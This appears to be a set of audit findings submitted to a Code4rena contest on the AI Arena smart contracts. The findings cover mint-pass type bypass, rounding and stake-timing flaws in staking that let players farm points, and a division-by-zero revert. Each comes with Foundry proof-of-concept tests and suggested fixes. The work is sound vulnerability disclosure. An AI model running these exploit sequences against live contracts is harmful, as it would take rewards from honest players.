AI Arena - VrONTg's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233

Vulnerability details

Impact

Dendroids are a more exclusive class of NFTs. In redeemMintPass function user can obtain it via burn mintpass for common champion NFT. This can break the logic of the project and compromise the dissatisfaction of honest users

Proof of Concept

function testRedeemMintPass() public {
    //we allow to use mint Champion, not Dendroid
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);


    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a Dendroid
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    _fighterTypes[0] = 1; // here I can change fighter type
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a Dendroid
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    // check balance to see if the mintpass was burned
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
    (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
    assertTrue(dendroidBool);
}

Recommended Mitigation Steps

Create connection between mint pass fighter Type and fighter Type in redeem function.

contract AAMintPass

... mapping (uint=>uint8) public dendroidBool; // tokenId=>0 Champion tokenId=>1 Dendroid ...

function claimMintPass( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata _tokenURIs ) external { require(!mintingPaused); bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], passesClaimed[msg.sender][0], passesClaimed[msg.sender][1], _tokenURIs ))); require(Verification.verify(msgHash, signature, delegatedAddress)); uint16 totalToMint = uint16(numToMint[0] + numToMint[1]); require(_tokenURIs.length == totalToMint); passesClaimed[msg.sender][0] += numToMint[0]; passesClaimed[msg.sender][1] += numToMint[1]; uint dendroids = numToMint[1]; for (uint16 i = 0; i < totalToMint; i++) { if(dendroids>=1){ unchecked {dendroids--;} createMintPass(msg.sender, _tokenURIs[i], 1); } else { createMintPass(msg.sender, _tokenURIs[i], 0); } } }

function burn(uint256 _tokenId, uint8 fighterType) public { require(msg.sender == fighterFarmContractAddress || msg.sender == ownerOf(_tokenId)); require(fighterType==dendroidBool[_tokenId], "you can't convert champion to Dendroid"); numTokensBurned++; numTokensOutstanding--; super.burn(_tokenId); }

function createMintPass(address _receiver, string calldata _tokenURI, uint8 dendroid) private { numTokensOutstanding++; uint256 tokenId = numTokensOutstanding + numTokensBurned; tokenURIs[tokenId] = _tokenURI; if(dendroid==1) dendroidBool[tokenId]=1; _safeMint(_receiver, tokenId); }

contract FighterFarm

function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes,
uint8[] calldata iconsTypes,
string[] calldata mintPassDnas,
string[] calldata modelHashes, string[] calldata modelTypes ) external { ... _mintpassInstance.burn(mintpassIdsToBurn[i], fighterTypes[i]); ...

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

Impact

If player stake 999 weis of token NRN he will never lose his stake, because of this calculations at 439 line https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439C1-L439C91

uint256 curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 104; // 10* (999 + 0)/104=0.999=0

So player can farm mergingPoolContract.fighterPoints and rankedBattleContract.accumulatedPointsPerFighter without any risk. This bug can lead to loss of funds, because in next battle round fighter points can be converted to NRN tokens.

Proof of Concept

function testUpdateBattleRecordPlayerWonBattle() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; uint8 roundId = 0; _fundUserWith4kNeuronByTreasury(player); vm.prank(player); _rankedBattleContract.stakeNRN(999, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), 999); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); assertEq(_mergingPoolContract.fighterPoints(tokenId), 750); assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId), 750);// +750 assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, roundId), 750); //750 assertEq(_rankedBattleContract.totalAccumulatedPoints(roundId), 750); }

function testUpdateBattleRecordPlayerLossBattle() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; _fundUserWith4kNeuronByTreasury(player); vm.prank(player); _rankedBattleContract.stakeNRN(999 , 0); assertEq(_rankedBattleContract.amountStaked(0), 999 ); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId); assertEq(losses, 1); assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), 0);
}

Tools Used

Recommended Mitigation Steps

Fast way is add check in stakeNRN function ... require(amount > 1 ether, "Amount cannot be less 1 NRN"); ...

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L530

Vulnerability details

Impact

User can stake minimum of NRN tokens like 2000 weis and farm mergingPoolContract.fighterPoints and rankedBattleContract.accumulatedPointsPerFighter with minimal risk, because getStakingFactor function in RankedBattle contract always return 1 if calculated stakingFactor == 0.

function _getStakingFactor(
    uint256 tokenId, 
    uint256 stakeAtRisk
) 
    private 
    view 
    returns (uint256) 
{
  uint256 stakingFactor_ = FixedPointMathLib.sqrt(
      (amountStaked[tokenId] + stakeAtRisk) 
  );
  if (stakingFactor_ == 0) {
    stakingFactor_ = 1;
  }
  return stakingFactor_;
} 

Further in _addResultPoints function in this calculation, if you define eloFactor equal 1500 which you provide in tests, points will be equal to 1500.

        stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            if (stakeAtRisk == 0) {
            points = stakingFactor[tokenId] * eloFactor; //1*1500=1500
        }

This leads to unfair behavior for other honest users and further in next battle round achieved in this way fighter points can be swapped for NRN tokens.

Proof of Concept

function testUpdateBattleRecordPlayerWonBattle() public { address player = vm.addr(3); _mintFromMergingPool(player); uint8 tokenId = 0; uint8 roundId = 0; uint amountStake = 2000; _fundUserWith4kNeuronByTreasury(player); vm.prank(player); _rankedBattleContract.stakeNRN(amountStake, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), amountStake); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); assertEq(_mergingPoolContract.fighterPoints(tokenId), 750); assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId), 750);// +750 assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, roundId), 750); //750 assertEq(_rankedBattleContract.totalAccumulatedPoints(roundId), 750); }

Recommended Mitigation Steps

Fast way is add check in stakeNRN function ... require(amount > 1 ether, "Amount cannot be less 1 NRN"); ... or create logic for more precisely calculation of fighter points.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L482

Vulnerability details

Impact

User can stake 1 wei then play with small sum of staked tokens, he need only 1 successful fight. After he will receive fighter points, he can add large sum to stake and next battle for him can give inappropriate to risk value. He can win about 15kk fighter points (if eloFactor will be 1500) or lose only 750 points as example. After that, he can unStake tokens and wait for next battle round. If he receive this large sum of fighter points, in future he can receive lion part of all rankedNrnDistribution tokens in this round. It will leads to lose assets and respect of honest users.

Proof of Concept

  function testUpdateBattleRecordPlayerLossBattleAfterWin() public {
    address player = vm.addr(3);
    _mintFromMergingPool(player);
    uint8 tokenId = 0;
    uint8 roundId = 0;
   _fundUserWith100kkNeuronByTreasury(player);
    vm.prank(player);
    _rankedBattleContract.stakeNRN(1 , 0); // user stake 1 wei of NRN
    assertEq(_rankedBattleContract.amountStaked(0), 1 );
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // give user win
    //user receive amounts of points. No matter how much. Just more than 0.
    assertEq(_mergingPoolContract.fighterPoints(tokenId), 750);
    assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId), 750);// +750
    assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, roundId), 750); //750
    assertEq(_rankedBattleContract.totalAccumulatedPoints(roundId), 750);
    //Then user put large sum of tokens to stake
    vm.prank(player);
    _rankedBattleContract.stakeNRN(99_000_000 ether , 0); // user stake 99 mln of NRN
  
    // and here he will not lose appropriate to risk tokens.  
    // He can win about 15kk of fighterpoints (if eloFactor eq 1500).
    // And in lose case don't lost anything except 750 points.
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
    (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
    assertEq(losses, 1);
    vm.prank(player);
    //then user unstakeNRN and wait for next round
    _rankedBattleContract.unstakeNRN(99_000_000 ether , 0); 
    assertEq(_rankedBattleContract.amountStaked(0), 1); // user still has 1 wei of staked NRN
}

Recommended Mitigation Steps

I suggest consider disabling unstakes during an active battle round.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

Impact

If generation increases in the future, reroll or creation of new fighters may stuck. Its happened due _createFighterBase() function which are execute

 uint256 element = dna % numElements[generation[fighterType]];

numElements are mapping with 1 element. We can see define this element in constructor. numElements[0] = 3; So, when we try execute reroll() we must execute _createFighterBase() and fighterType convey to that function, where we must retrieve info from mapping numElements[]. And key for that mapping will be value of generation, in our case generation[0] will return 1, because we increase it. So we retrieve value from mapping numElements[1] - it's not defined, so we fetch default 0. But we can'not divide by 0. Transaction will be reverted.

Proof of Concept

function testReroll() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); if (_fighterFarmContract.ownerOf(0) == _ownerAddress) { uint8 tokenId = 0; uint8 fighterType = 0; //increment generation for Champions _fighterFarmContract.incrementGeneration(0); assertEq(_fighterFarmContract.generation(0), 1); _neuronContract.addSpender(address(_fighterFarmContract)); //[FAIL. Reason: Division or modulo by 0] vm.expectRevert(); _fighterFarmContract.reRoll(tokenId, fighterType); } }

Recommended Mitigation Steps

It's quite difficult to understand logic of creation pseudo random traits. But in this case for example we can create counter for key of numElements mapping and increment it whithin incrementGeneration() function.

...
uint8 counter;
...
function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
unchecked {counter++;}
    generation[fighterType] += 1;
    maxRerollsAllowed[fighterType] += 1;
    numElements[counter] = 3;
    return generation[fighterType];
	}

Assessed type

Other